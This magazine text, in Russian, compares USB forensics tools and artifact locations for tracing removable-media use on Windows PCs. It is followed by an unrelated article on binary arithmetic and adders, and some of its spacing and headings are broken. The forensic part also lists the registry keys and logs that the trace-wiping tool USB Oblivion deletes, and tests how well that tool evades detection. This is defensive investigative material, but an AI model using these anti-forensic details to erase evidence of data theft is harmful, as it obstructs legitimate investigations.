лен в десятич ном виде и его нуж но  в HEX. Нап ример, изу чив
сле дующий параметр:

кон верти ровать

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
EMDMgmt_??_USBSTOR#Disk&Ven_&Prod_USB_DISK_2.0&Rev_
PMAP#070867948D560839&0#VICTIMFAT_173966065

мы узна ем, что устрой ство с име нем  име ло VSN .VICTIMFAT 0A5E82F1

Это при годит ся, если при изъ ятии отформа тиро ван ной юзе ром флеш ки он ска -
жет, что никог да ничего на носитель не копиро вал, да и вооб ще с ним
не работал. В реес тре же сох ранена пол ная исто рия в фор мате «серий ник-
VSN».

Ес ли ты пред почита ешь копать ся в реес тре вруч ную, то можешь выпол нить
экспорт реес тра, а затем открыть его в ути лите типа . Там
в раз деле соз дания раз делов с серий никами отоб ража ется дата их соз дания —
то бишь дата под клю чения устрой ства. С пос ледней, одна ко, час то встре чают -
ся осеч ки из-за анти вирус ных про верок, выг рузки кус тов реес тра или вследс -
твие .

Registry Explorer

ба гов опе раци онной сис темы
В ито ге ана лиз реес тра может в луч шем слу чае дать тебе информа цию

о фак те под клю чения устрой ства, но кто его под клю чал, ког да и как — об этом
исто рия умал чива ет.

ÔÀÉËÎÂÀß ÑÈÑÒÅÌÀ

Здесь клас сичес ким арте фак том явля ется файл , обыч но
рас положен ный в пап ке . В нем мож но отыс кать дату и вре мя

пер вого под клю чения носите ля. Одна ко учти, что этот файл не бес конечен
и ста рые под клю чения могут быть затер ты.

setupapi.dev.log
C:\Windows\inf

В ста рых вер сиях вин ды файл называл ся , а рядом с ним
могут валять ся прош лые вер сии с име нами 

, куда тоже желатель но заг лянуть.

setupapi.log
setupapi.dev.yyyymmdd_hhmmss.

log

В качес тве мини-под ска зок в фай ловой сис теме пос мотри ярлы ки в недав них
фай лах. Для это го нуж но нажать Win-R и ввес ти  или заг лянуть

вот в эту пап ку:

shell:recent

C:\Users<имя юзера>\AppData\Roaming\Microsoft\Windows\Recent\

Та кие же под сказ ки есть для устрой ств и прин теров (Win-R, затем 

). Если тре бует ся коп нуть очень глу боко, заходи в при ложе ния (офис,

бра узе ры, пле еры, муль тимеди апри ложе ния) и в спис ках пос ледних фай лов
ищи пути к дис кам, которых явно нет на иссле дуемом компь юте ре.
Не забывай, что, если в сис теме хорошо ведут ся логи (в том чис ле жур налы
анти вирус ных прог рамм), в них могут хра нить ся све дения о под клю чении
устрой ств или хотя бы об уста нов ке драй вера для устрой ства. Смот ри
события 2003 и 2102 в жур нале Microsoft-Windows-DriverFrameworks-
UserMode/Operational. В целом тебе могут помочь  1003, 2004,
2005, 2010, 2100, 2101, 2102, 2105, 2106.

control
printers

ко ды событий

Ïðîìåæóòî÷íûé âûâîä

Ес ли у тебя мно го вре мени и есть желание, в реес тре мож но копошить ся
доволь но дол го. Мы показа ли тебе ско рее теорию, чем прак тику. Оче вид но,
что пос мотреть таким обра зом даты под клю чения устрой ства не получит ся,
а нас это не устра ивает. Безопас ник хочет домой, к любимо му котику и плат -
ным под пискам стри мин говых сер висов, пом нишь?

MITEC WINDOWS REGISTRY RECOVERY (WRR)

Раз уж мы начали с сис темно го реес тра, давай про дол жим эту тему. Ты уже
понял, что основны ми источни ками дан ных слу жат вет ки  и ,

 (если надо под твер дить дей ствия про веря емо го поль зовате ля). Выг -

рузим их через кон соль в фор мате сырых кус тов (не REG-фай ла!):

SYSTEM SOFTWARE
HKCU

reg save HKLM\Software\ "G:\Penetratordir\Software.DAT" /y /c
reg save HKLM\System\ "G:\Penetratordir\System.DAT" /y /c
reg save HKCU "G:\Penetratordir\HKCU.DAT" /y /c

Все эти фай лы мож но про ана лизи ровать в WRR, но нас будет инте ресо вать
толь ко , содер жащий информа цию по железу компь юте ра, — заг -

рузим его. Откро ем вклад ку Hardware, там выберем кон фигура цию (текущую
или пос леднюю успешную), обя затель но уста нав лива ем фла жок Device Map,
запус каем поиск и ждем-с. Верим, что ути лита спра вит ся... В общем, спус тя
некото рое доволь но про дол житель ное вре мя получа ем резуль тат — раз бивку
не толь ко по флеш кам, но и по иным устрой ствам: кла виату рам, при водам,
прин терам и дру гим девай сам.

System.DAT

Вы вод выг лядит кра сиво, одна ко опять же не показы вает вре мени — толь ко
под твержде ние, что устрой ство ког да-то под клю чалось.

У MiTeC есть ути лита USB History в сос таве 
, которая пре дос тавля ет базовую информа цию о под клю чен -

ных USB-устрой ствах, в том чис ле имя, серий ный номер, тип и дату.
Из информа ции — толь ко то, что ты видишь на скри не, выг рузка дос тупна
исклю читель но в фор мате, под держи ваемом дан ной прог раммой, даже ско -
пиро вать ничего нель зя.

MiTeC System Information
Component Suite

Ïðîìåæóòî÷íûé âûâîä

WRR работа ет как-то заморо чен но и мед ленно, а USB History годит ся раз ве
что для получе ния спис ка устрой ств и вре мени (зато быс тро). Давай поищем
прош ку получ ше.

NIRSOFT USBDEVIEW

По жалуй, это наибо лее извес тная прог рамма для вывода спис ка под клю -
чаемых устрой ств и управле ния ими. При запус ке она опе ратив но фор миру ет
вывод, демонс три руя очень мно го стол бцов с раз нооб разной информа цией.

Осо бен но при ятно наличие допол нитель ных полей, которых мы рань ше
не видели: был ли носитель безопас но извле чен, бук ва дис ка и дата пос ледне -
го под клю чения. При двой ном щел чке мышью откры вает ся окно со все ми под -
робнос тями о выб ранном устрой стве.

Все дан ные мож но ско пиро вать или сох ранить в любом удоб ном фор мате,
вклю чая CSV. Из при ятных бонус ных фун кций — воз можность уста новить зап -
рет на под клю чение любых устрой ств из спис ка. Мож но сра зу перей ти к клю чу
реес тра в , отку да прог рамма взя ла дан ные.Enum\USB

Ïðîìåæóòî÷íûé âûâîä

Прог рамма — поч ти меч та форен зика. Если бы при ходи лось иметь дело толь ко
с live-сис темами, а поль зовате ли не тер ли бы инфу об устрой ствах, то
USBDeview — выбор номер один. Одна ко ты уже понял, что мы на этом
не оста нав лива емся, ведь нет пре дела совер шенс тву. Как нас чет офлайн-сис -
тем, обра зов дис ков и опре деле ния фай лов на флеш ке, к которым обра щал ся
юзверь? Смо жем ли мы получить незави симое от DLP-сис темы под твержде -
ние, что наш работ ник — вре дитель?

USB FORENSIC TRACKER

Та иланд не перес тает удив лять. Сре ди воз можнос тей дан ной прог раммы
родом из экзо тичес кой стра ны — мон тирова ние кри мина лис тичес ких обра зов
дис ков (пос редс твом встро енно го ), а так же теневых
копий. При ложе ние спо соб но ана лизи ровать фай лы не толь ко Windows, но и
MAC ( ) и Linux ( , при -

вет, !). Прой дем ся по спис ку ана лизи руемых арте фак тов для вин ды —
кро ме тех, что мы уже упо мина ли.

Arsenal Image Mounter

/private/var/log/system*|kernel* /var/log/syslog
usbrip

Уточ нения в реес тре.
GUID и серий ники носите лей:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM

Этот раз дел может называть ся и так:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\WpdBusEnumRoot\
UMB

Так же:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\
ProfileList

А вот здесь мож но най ти пос ледние сопос тавле ния букв и меток дис ка:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\
VolumeInfoCache

В логах вин ды ( ) рекомен дует ся пос -

мотреть сле дующие фай лы:

C:\Windows\System32\winevt\Logs

;• Microsoft-Windows-Storage-ClassPnP/Operational.evtx

(EventID 1000, под клю чение MTP-устрой ства);
• Microsoft-Windows-WPD-MTPClassDriver/Operational.evtx

;• Microsoft-Windows-Partition%4Diagnostic.evtx

.• Microsoft-Windows-Ntfs%4Operational.evtx

По мимо это го, ути лита смот рит теневые копии — что осо бен но полез но про тив
любите лей затир ки сле дов — и пап ку  (там могут хра нить ся фай -
лы  и логи, пом нишь?).

Windows.old
setupapi

Да вай запус тим эту пуш ку на live-сис теме, сле ва для это го есть спе циаль ная
зеленая кноп ка.

Ин форма ция выводит ся с раз бивкой по источни кам. По срав нению
с USBDeview здесь нет пря мого ука зания вре мени пер вого или пос ледне го
под клю чения, толь ко пер вая дата по реес тру и мно жес тво дат под клю чений,
которые по каж дому источни ку при ходит ся смот реть отдель но. Что при ятно,
в каж дой стро ке дано ука зание, отку да имен но прог рамма взя ла арте фак ты.

Мож но ско пиро вать информа цию нап рямую из интерфей са или выг рузить
в Excel. Раду ет факт, что выг рузка поч ти пол ностью пов торя ет интерфейс прог -
раммы.

На ибо лее инте рес на вклад ка Accessed les — пом нишь, что я тебе говорил
про ярлы ки в Recent? Бла года ря этой вклад ке мож но под твер дить работу
с фай лами на флеш ке или в сис теме.

Ïðîìåæóòî÷íûé âûâîä

Ути лита исполь зует зна читель ное количес тво источни ков, в том чис ле и из дру -
гих ОС. Огор чает, что не выпол няет ся кор реляция получен ных све дений (пос -
тро ение еди ного тай млай на со все ми дан ными), а толь ко выг рузка вида
«источник — смот ри что я в нем нашел». Из дру гих минусов — к прог рамме
надо при норав ливать ся. Нап ример, для ана лиза офлайн-фай лов нуж ны реаль -
ные копии фай лов, а не твой JSON-три аж с самыми соч ными арте фак тами
или отдель ными кус тами реес тра. Теневые копии ана лизи руют ся толь ко
по одной за раз для каж дого дис ка. Нес мотря на это, прог рамма выг лядит
как одно из луч ших решений в сво ем клас се. Пожалуй, она поможет нашему
герою уйти с работы, не слиш ком задер жавшись.

Продолжение статьи →
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USB FORENSIC BATTLE
ВЫБИРАЕМ ИНСТРУМЕНТ

ДЛЯ АНАЛИЗА ПОДКЛЮЧЕНИЙ НОСИТЕЛЕЙ

АДМИН  НАЧАЛО СТАТЬИ←

USB DETECTIVE

На вход вер сии Community Edition мож но подать логичес кий диск (но
не текущий сис темный) или соб ранные арте фак ты. Давай раз бирать ся.

Мы ранее показа ли, как выг рузить кус ты ,  и  (он же

), где находит ся , — для базово го ана лиза это го будет
дос таточ но. Для бес плат ной вер сии нам еще понадо бит ся Amcache Hive,
который содер жит информа цию о запус каемых при ложе ниях в сис теме. Он
рас положен по пути  (в live-
сис теме ты его так не откро ешь, но методом мож но вос поль зовать ся при ана -
лизе с заг рузоч ной флеш ки или обра за дис ка).

SYSTEM SOFTWARE HKCU
NTUSER.DAT setupapi

%SystemRoot%\AppCompat\Programs\Amcache.hve

Из-за про веде ния валиди рующих про верок меж ду вход ными дан ными прог -
рамма работа ет с уме рен ной ско ростью, но мед леннее, чем USB Forensic
Tracker.

На стен де бес плат ная вер сия наш ла 242 под клю чен ных ранее устрой ства.
Для срав нения — USB History нашел око ло 100 устрой ств, USB Deview — свы -
ше полуты сячи событий. Про верим, что обна ружи ла эта соф тина.

Мы видим, что работа прог раммы стро ится на осно ве серий ников и дат
пер вого или пос ледне го под клю чения. При двой ном щел чке мышью на соот -
ветс тву ющей стро ке мож но открыть спи сок источни ков, отку да были под тянуты
эти све дения. Цве том выделе ны «сом нения» прог раммы отно ситель но отме -
ток вре мени.

До пол нитель но отоб ража ется при вяз ка к VSN, что, безус ловно, плюс (рань -
ше мы такое видели толь ко в USB Forensic Tracker в раз делах обра щений
к фай лам, реес тру и поль зовате лю).

В кон текс тном меню, которое появ ляет ся по нажатию пра вой кла виши мыши,
мож но открыть спи сок дру гих под клю чений выб ранно го устрой ства, что тоже
удоб но.

На этом фун кции бес плат ной вер сии исчерпы вают ся — давай про верим,
нас коль ко луч ше работа ет плат ная или обра зова тель ная вер сия. В целом,
загото вив скрипт для сбо ра ука зан ных арте фак тов (или исполь зуя тул зы вро де

), мож но будет сос редото чить ся на их даль нейшем ана лизе. С точ ки зре -
ния прак тики регуляр но исполь зовать, конеч но, нес коль ко неудоб но.
KAPE

Для плат ной вер сии нам допол нитель но понадо бит ся файл ,
,  и . Пер вый файл отве чает за парамет ры про -

филя поль зовате ля и находит ся по такому пути:

UsrClass.dat
EventLog LNK files Jump Lists

C:\Users<имя>\AppData\Local\Microsoft\Windows

Еще мож но изу чить под разде лы вет ки  в сис темном реес тре. Логи

ищи в катало ге .  — это те же
ярлы ки в Recent.  — спис ки недав но откры тых фай лов — ищи

в сле дующих скры тых пап ках:

HKEY_USERS
C:\Windows\System32\winevt\Logs LNK files

Jump Lists

;
• %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\

AutomaticDestinations

.
• %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\

CustomDestinations

По срав нению с Community Edition для той же сис темы, прос каниро ван ной
в live-режиме, име ем на 40 событий боль ше, вре мя ана лиза уве личи лось
до 11 минут. Что по ниш тякам?

По яви лась воз можность пос мотреть спи сок фай лов, откры тых на под клю -
чаемом устрой стве, спи сок источни ков. Прог рамма сама находит и ана лизи -
рует бэкапы реес тра (пап ка ), так же ана лизи рует сис темный лог. Сра зу
мож но выг рузить тай млайн по отдель ному устрой ству в фор мате Excel или пос -
тро ить пол ные отче ты (генерят ся дос таточ но дол го).

RegBack

При такой кон фигура ции отче тов на вых лопе мы получим три отчетных фай ла:
 По сути, выг рузка того, что ты видел на экра не;• Report.

 Содер жит GUID источни ков, а так же все вре мен ные
отметки из всех источни ков;

• Verbose Report.

 Пред став ляет собой тай млайн событий из источни ков.• Timeline.

По мимо событий под клю чения, безопас ного отклю чения или прос то отклю -
чения устрой ства, в жур налы попадут ивен ты, свя зан ные с соз дани ем и откры -
тием дирек торий, а так же соз дани ем, изме нени ем и откры тием фай лов
на устрой ствах.

Ïðåäïîñëåäíèé âûâîä

Глав ный недос таток прог раммы в том, что ска ниро вание live-сис темы
и топовых арте фак тов (логи, ярлы ки) дос тупно толь ко в плат ных вер сиях, а для
бес плат ных при ходит ся замора чивать ся с выг рузкой сис темных арте фак тов.
Нем ного жал ко, что нет воз можнос ти сох ранить сес сию в прог рамме, что бы
каж дый раз не ука зывать заново арте фак ты и ждать завер шения ана лиза. Прог -
рамма поз воля ет получить мак симум валиди рован ной информа ции, минусы —
про дол житель ное вре мя ана лиза и цена pro-вер сий.

За бав но, что популяр ная ути лита для очис тки сле дов USB-устрой ств — USB
Oblivion уда ляет гораз до боль ше источни ков, боль шинс тво из которых даже
не обра баты вал USB Detective:

фай лы:  и ;• C:\Windows\setupact.log setuperr.log

жур налы: Microsoft-Windows-DeviceSetupManager/Operational и Admin,
Microsoft-Windows-Kernel-PnP/Conguration, Microsoft-Windows-Kernel-
ShimEngine/Operational, так же жур нал при ложе ний, безопас ности и событий
обо рудо вания.

•

Уда ление клю чей реес тра:
GUID устрой ств:

HKLM\system\controlset00X\control\class\*

HKLM\system\controlset00X\enum\storage\volume\

Здесь записа ны отдель ные устрой ства:

HKLM\system\controlset00X\hardware profiles\0001\system\
currentcontrolset\enum\*

Осо бен но обра ти вни мание на под папки ,  и .usbstor\ usb\ WPDBUSENUMROOT\

HKEY_LOCAL_MACHINE\system\controlset001\control\devicecontainers\

HKEY_LOCAL_MACHINE\system\controlset001\control\usbflags\`

Ус трой ства с про кеши рова нием ReadyBoost:

HKLM\system\controlset00X\services\rdyboost\attachstate

Shellbags — оста точ ные исто рии прос мотра дирек торий:

HKLM\software\classes\local settings\software\microsoft\windows\
shell\bags

HKLM\SOFTWARE\Microsoft\WBEM\WDM\DREDGE`;

Поль зователь ские шелл-баги:

HKEY_USERS<user_SID>\software\classes\wow6432node\local settings\
software\microsoft\windows\shell\bagmru

По мимо , учти раз дел .bagmru bags
За писи о запус ке при ложе ния и пути исполня емо го фай ла:

HKEY_USERS<user_SID>\software\classes\local settings\software\
microsoft\windows\shell\muicache\*

HKEY_USERS<user_SID>\software\classes\local settings\software\
microsoft\windows\shell\bagmru

HKEY_USERS<user_SID>\software\classes\local settings\software\
microsoft\

Центр син хро низа ции:

windows\currentversion\syncmgr\handlerinstances

Час то исполь зуемые при ложе ния:

HKEY_USERS<user_SID>\software\microsoft\windows\currentversion\
explorer\userassist

HKEY_USERS<user_SID>\software\microsoft\windows\shell\bagmru

HKEY_USERS<user_SID>\software\microsoft\windows\shell\bags\

Ав тозапуск с устрой ств:

HKEY_USERS<user_SID>\software\microsoft\windows\currentversion\
explorer\autoplayhandlers\knowndevices

До маш нее задание: уга дай, от каких прог тебя спа сет USB Oblivion, а от
каких — нет? Под сказ ка: у нас есть бэкапы и прош лые вер сии.

Да вай чис то для себя срав ним резуль татив ность наших инс тру мен тов до и
пос ле при мене ния USB Oblivion, замер выпол ним в мак сималь ном количес тве
обна ружен ных под клю чений. Рабочая лошад ка — какой-то древ ний ноут с 32-
раз рядной Windows 7 и 3 Гбайт опе ратив ной памяти. Что? У сот рудни ков и XP
иног да сто ит с лам повым «Сапером» — толь ко реаль ные усло вия, а не сказ ки
с уста нов ленны ми на все устрой ства пат чами.

Ре зуль таты получи лись забав ные: при работе на этой же машине WRR
зависа ет намер тво при пос тро ении кар ты устрой ств, а USB Detective тре бует
себе .NET 4.6.1+, который на эту legacy-сис тему уста нав ливать ся не хочет.
Наш безопас ник был бы не в луч шей ситу ации, поэто му приш лось ана лизи -
ровать выг ружен ные кус ты реес тра и setupapi-логи до и пос ле «зачис тки».

В USB Oblivion мож но исполь зовать обыч ную очис тку и с рекомен дован ными
парамет рами. Для чис тоты экспе римен та пер вая зачис тка была про изве дена
без рекомен даций, вто рая — уже с ними.

WRR — не спра вил ся с задачей, USB History обна ружил сле дов под клю -
чений: 43 (до) / 0 (пос ле базовой очис тки) / 0 (пос ле очис тки в мак сималь -
ном режиме), что пред ска зуемо.

•

USBDeview: 173/139/139. В резуль тате про пало боль шинс тво уни каль ных
серий ников (стро ки с явны ми флеш ками, типа JetFlash Transcend 4GB USB
Device и кон крет ным серий ным номером), одна ко оста лось мно го
информа ции о наз вани ях устрой ств. Вре мен ные отметки у оставших ся тоже
сох ранялись. Меж ду обыч ным и рекомен дован ным режимом очис тки
никаких раз личий.

•

USB Forensic Tracker: 40/25/25. Пос ле очис тки все источни ки из реес тра,
кро ме Registry-MountPoints2 и Registry-VolumeInfoCache, ока зались пус -
тыми. Не потерт лог с исто рией MTP-устрой ств 

. Оста лись VSN в обра -
щаемых фай лах, одна ко без под робнос тей отно ситель но кон крет ных
устрой ств. Точ ки вос ста нов ления не ана лизи рова лись.

•

Microsoft-Windows-

WPD-MTPClassDriver/Operational.evtx

USB Detective Community Edition: 43/9 (пол ная очис тка). Потеря лись иден -
тифика торы устрой ств, вся информа ция о бук вах дис ков, VSN, откры тых
фай лах, поль зовате ле. Оставши еся в спис ке MTP-устрой ства — телефо ны.

•

За нят но, что наз вания устрой ств были взя ты из вет ки 
, которую, казалось бы, Oblivion чис тил. Стран но.

ControlSetXXX\Enum\
USB\

По резуль татам очис тки мы изба вились от основных арте фак тов, одна ко
опыт ный кри мина лист обя затель но еще заг лянет в пап ку , бэкап
реес тра, логи кас томных при ложе ний, анти виру са и так далее — пра во сло во,
лег че фор матнуть винт!

Windows.old

ÈÒÎÃÎÂÛÉ ÐÅÇÓËÜÒÀÒ ×ÅÌÏÈÎÍÀÒÀ

Для пов седнев ного исполь зования мак сималь ной прос тотой, быс тро той и под -
дер жкой раз ных источни ков отли чает ся USB Forensic Tracker. Если ты хочешь
получать агре гиро ван ные дан ные с вычис ленны ми кор реляци ями меж ду
источни ками и готов заморо чить ся, как нас тоящий форен зик, тог да рекомен -
дуем USB Detective (а если ты богат — то луч ше при обрести ком мерчес кую
лицен зию). Для прос тых рас сле дова ний, завязан ных на под твержде ние самого
фак та под клю чения устрой ств обыч ными юзе рами, которые даже не зна ют, что
сис тема все пишет, мож но обой тись и USBDeview.

Уч ти, что в Windows 10 есть ряд веселых механиз мов, которые так же могут
содер жать сле ды под клю чения устрой ств. Это база  (

), которая собира ет

диаг ности чес кую информа цию и телемет рию, — по умол чанию она вык лючена,
но слу чаи .

EventTranscript.db C:\
ProgramData\Microsoft\Diagnosis\EventTranscript

раз ные быва ют
На чиная с Windows 8 опре делен ная телемет рия пишет ся в файл 

 (он же SRUM, 

). Там мож но най ти  о запус ке прог рамм с внеш них устрой ств.

C:\
Windows\System32\SRU\SRUDB.dat System Resource Usage

Monitor ин фу
Еще есть опция Windows 10 Timeline, работа ющая хорошо, ког да вин де раз -

решен сбор исто рии активнос ти поль зовате ля. База 

обыч но хра нит ся в пап ке 

 — там мож но  све -
дения об откры тии фай лов и запус ке прог рамм, в том чис ле со съем ных
носите лей.

ActivitiesCache.db
\Users\%profile name%\AppData\Local\

ConnectedDevicesPlatform\L.%profile name%\ най ти

Что ж, теперь мож но с уве рен ностью ска зать: у тебя дос таточ но зна ний,
что бы быс тро про вес ти ана лиз и выяв лять наруше ния на кор поратив ных ком -
пах. В статье мы не толь ко рас смот рели готовые инс тру мен ты на прак тике,
но и под кре пили их теорией об источни ках арте фак тов. Уда чи на полях форен -
зики!

https://ericzimmerman.github.io/KapeDocs/#!index.md
https://github.com/AndrewRathbun/EventTranscript.db-Research
https://digitalforensicsdotblog.wordpress.com/2021/10/06/swimming-in-the-srum/
https://doi.org/10.1016/j.diin.2015.01.002
https://blog.group-ib.com/windows10_timeline_for_forensics
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Сов ремен ные компь юте ры спо соб ны
совер шать мил лионы мил лиар дов опе -
раций за секун ду. Сре ди самых базовых
опе раций — матема тичес кие. Что бы
понять, как имен но компь ютер их выпол -
няет, мы сегод ня обсу дим устрой ство сум -
матора и ариф метико-логичес ких устрой -
ств на его осно ве.

ÎÁÐÀÁÎÒÊÀ ×ÈÑÅË

Ос новная работа любого мик ропро цес сора — это обра бот ка чисел. А уже
на ее осно ве совер шают ся дру гие, более слож ные опе рации.

Цифровая электроника с самого начала
В сво их прош лых стать ях я рас ска зывал о дво ичной сис теме счис ления,
алгебре логики и логичес ких вен тилях, элек трон ных ком понен тах, мик росхе мах
и мно гом дру гом инте рес ном и полез ном. Рекомен дую озна комить ся, осо бен -
но если в этой статье встре тят ся непонят ные вещи.
• Циф ровая элек тро ника с самого начала. Собира ем схе мы на MOSFET-тран -

зисто рах
• Бунт мно гоно жек. Собира ем устрой ство с интеграль ными мик росхе мами

В осно ве работы компь юте ра лежит ариф метико-логичес кое устрой ство (АЛУ).
Что бы понять, как оно работа ет, давай раз берем прин цип, который поз воля ет
компь юте ру совер шать опе рации. Но сна чала я под робнее рас ска жу о самой
дво ичной сис теме.

ÄÂÎÈ×ÍÀß ÑÈÑÒÅÌÀ

Ду маю, ты уже име ешь некото рое пред став ление о дво ичном счис лении. Все
чис ла в дво ичной сис теме сос тоят из двух цифр — нуля и еди ницы. Внут ри
компь ютер исполь зует ее для всех опе раций, даже если работа ет с десятич -
ными или шес тнад цатерич ными чис лами.

Ïåðåâîä ÷èñåë èç äâîè÷íîé ñèñòåìû â äåñÿòè÷íóþ è îáðàòíî

Пе рево дить чис ла из одной сис темы в дру гую про ще все го при помощи каль -
кулято ра, но для нас сей час важ но знать, как это дела ется, по шагам.

Чис ло в десятич ной сис теме счис ления мож но пред ста вить в виде сум мы
его цифр, пом ножен ных на десять в сте пени раз ряда чис ла — от самого пра -
вого, которо му соот ветс тву ет 10 в нулевой сте пени, к самому левому, при том
что сте пень каж дый раз воз раста ет на еди ницу. Нап ример:

389 = 3 · 10² + 8 · 10¹ + 9 · 10⁰ = 300 + 80 + 9

Точ но так же мож но рас кла дывать дво ичные чис ла, толь ко каж дый раз ряд
(самая пра вая циф ра счи тает ся самым млад шим раз рядом) умно жает ся не на
сте пень десяти, а на сте пень двой ки. В ито ге мы получим чис ло в десятич ной
сис теме. В качес тве при мера переве дем чис ло 1101 из дво ичной в десятич -
ную:

1101 = 1 · 2³ + 1 · 2² + 0 · 2¹ + 1 · 2⁰ = 8 + 4 + 0 + 1 = 13

Что бы перевес ти обратно, нуж но исполь зовать деление с остатком. Исходное
чис ло в десятич ной сис теме делим на два, оста ток от деления (1 или 0)
записы ваем в пер вый раз ряд (самая пра вая циф ра). Получен ное час тное сно ва
делим на два и оста ток записы ваем уже в сле дующий раз ряд. Так дей ству ем,
пока в резуль тате деления не получит ся ноль. При мер ты можешь уви деть
на кар тинке сни зу.

Пе ревод чис ла из десятич ной в дво ичную сис тему счис ления

Ñëîæåíèå

За опе рацию сло жения в элек трон ных чипах отве чает сум матор. Как скла -
дывать дво ичные чис ла? Мож но сло жить в стол бик точ но так же, как десятич -
ные. Пос коль ку цифр все го две, дер жать в уме и перено сить здесь мож но
толь ко еди ницу.

Все го воз можных вари антов сло жения цифр одно го раз ряда четыре:
• 0 + 0 = 0

• 0 + 1 = 1

• 1 + 0 = 1

• 1 + 1 = 10

В пос леднем слу чае еди ница перехо дит в сле дующий раз ряд, резуль тат
записы вает ся как «0 с перено сом 1». Этот бит перене сен ной еди ницы скла -
дыва ется с битом в сле дующем раз ряде.

Сло жение дво ичных чисел

Те перь рас смот рим более слож ный при мер со скла дыва нием четырех битных
дво ичных чисел. В этих слу чаях все еди ницы млад шего зна чаще го раз ряда
дают в сум ме бит нуля с перено сом еди ницы в сле дующие раз ряды. Напоми -
наю, раз ряды счи тают ся от мень шего к боль шему (спра ва налево). В сле -
дующем раз ряде мы сно ва получа ем две еди ницы от перено са и еди ницы
в раз ряде. Про цесс пов торя ется до самого стар шего зна чаще го бита.

Ана логич но и с дру гими чис лами в сред нем при мере. В пос леднем при -
мере вышед ший из млад шего раз ряда бит перено са дает еди ницу и в сум му,
и в бит перено са. Как видишь, это работа ет точ но так же, как с десятич ными
чис лами, а может, даже и про ще.

Âû÷èòàíèå

Ес ли при сло жении нам нуж но перено сить чис ла, то при вычита нии пот ребу -
ется занимать. Работа ет это точ но так же, как при десятич ном вычита нии
в стол бик.

Есть и дру гой метод вычита ния — сло жени ем двух чисел, при котором мы
пред ста вим вычита емое в виде отри цатель ного чис ла. Так, из 
получим .

5 – 2 = 3
5 + (–2) = 3

Что бы пре обра зовать дво ичное чис ло в отри цатель ное, исполь зует ся
допол нитель ный код. Прин цип в сле дующем. К каж дому дво ично му чис лу (и
положи тель ному, и отри цатель ному) добав ляет ся сле ва еще один бит. Если
бит равен нулю, то все осталь ные биты обоз нача ют положи тель ное чис ло, если
равен еди нице, то отри цатель ное. Этот бит называ ется битом зна ка чис ла.

Та ким обра зом, положи тель ное чис ло оста ется таким же, как и было, но с
допол нитель ным нулем в начале, а отри цатель ное — с еди ницей сле ва,
с инверти рован ными циф рами, соот ветс тву ющи ми положи тель ному чис лу, и с
добав ленной к млад шему раз ряду еди ницей. То есть если десятич ному чис -
лу 13 соот ветс тву ет отри цатель ное –13, то дво ично му зна чению три над цати,
записан ного восемью раз рядами, 0,0001101 (пер вый ноль — это и есть бит
зна ка чис ла) соот ветс тву ет отри цатель ное 1,1110010 + 1 = 1,1110011. Здесь
еди ница сле ва — это зна ковый бит, осталь ные циф ры инверти рова ны, а к
самому пра вому, млад шему, раз ряду при бав лена еди ница.

Со ответс твен но, для вычита ния такие чис ла скла дыва ются.

Вы чита ние дво ичных чисел

Óìíîæåíèå

Ум ножение тоже выпол няет ся по пра вилам десятич ных чисел. Дво ичные чис ла
мож но записать в стол бик, а потом пораз рядно перем ножить вто рое на пер -
вое.

Ум ножение дво ичных чисел в стол бик

Мож но заметить некото рые осо бен ности. При умно жении на еди ницу в любом
из раз рядов вто рого мно жите ля записы вает ся сам пер вый мно житель со сдви -
гом на соот ветс тву ющее количес тво битов. А при умно жении на ноль в стро ку
записы вают ся все нули. Далее все про межу точ ные про изве дения скла дыва -
ются с соб людени ем раз ряднос ти.

ÀÐÈÔÌÅÒÈÊÎ-ËÎÃÈ×ÅÑÊÈÅ ÓÑÒÐÎÉÑÒÂÀ

АЛУ — это блок про цес сора, выпол няющий ариф метичес кие и логичес кие опе -
рации с дан ными. В прош лой статье я под робно раз бирал базовые бло ки
алгебры логики — если ты успел все забыть, рекомен дую осве жить зна ния.

Го воря про опе рации, мы начали со сло жения, поэто му изу чать АЛУ будем
тоже с самого базово го бло ка — сум матора.

Ñóììàòîð

Сно ва взгля нем на ком бинации при сло жении.
• 0 + 0 = 0

• 0 + 1 = 1

• 1 + 0 = 1

• 1 + 1 = 10

Ре зуль тат сло жения двух одно бит ных чисел будет занимать мак симум два
бита — бит сум мы и бит перено са.

Бит сум мы для одно бит ных чисел мож но сфор мировать с помощью вен тиля
логичес кого исклю чающе го ИЛИ, а бит перено са — с помощью И.

Те перь мы можем сос тавить таб лицу истиннос ти для , то

есть бук валь но полови ны сум матора. Выход исклю чающе го ИЛИ обоз нача ется
гре чес кой бук вой сиг мой, Σ (если ты вспом нишь матема тику, там она обоз -
нача ет сум му), а бит перено са — CO (Carry Output, выход перено са).

ïî ëóñóì ìàòîðà

Схе ма и таб лица истиннос ти полусум матора

По чему толь ко полови на сум матора? Смысл в том, что такое устрой ство может
скла дывать толь ко одно бит ные чис ла, потому что у него нет вхо да для бита
перено са из пре дыду щих раз рядов. Ред ко ког да тре бует ся скла дывать чис ла,
сос тоящие из одно го бита, поэто му нам необ ходим пол ный сум матор.

Пол ному сум матору понадо бит ся тот самый вход для бита перено са из пре -
дыду щих раз рядов, он будет брать и при бав лять к нуж ному раз ряду чис ло,
«хра няще еся в уме».

Сов местив два полусум матора, мы получим пол ный сум матор. В его таб -
лице истиннос ти пер вые четыре стро ки точ но такие же, как у полусум матора,
а вот оставши еся четыре запол няют ся так: ненуле вой бит перено са сум миру -
ется с битами сла гаемых. Инте рес на пос ледняя стро ка, в ней скла дыва ются
три еди ницы, что дает еди ницу и в сум ме, и в перено се.

Таб лица истиннос ти сум матора

Ес ли для сбор ки пол ного сум матора исполь зовать два полусум матора, то нам
понадо бит ся еще вен тиль логичес кого ИЛИ, и выг лядеть схе ма будет так.

Схе ма пол ного сум матора из двух полусум маторов

Зная алгебру логики, мы можем упростить схе му так, что бы в ней исполь -
зовалось все го два типа вен тилей — И — НЕ и исклю чающее ИЛИ.

Схе ма сум матора на двух вен тилях

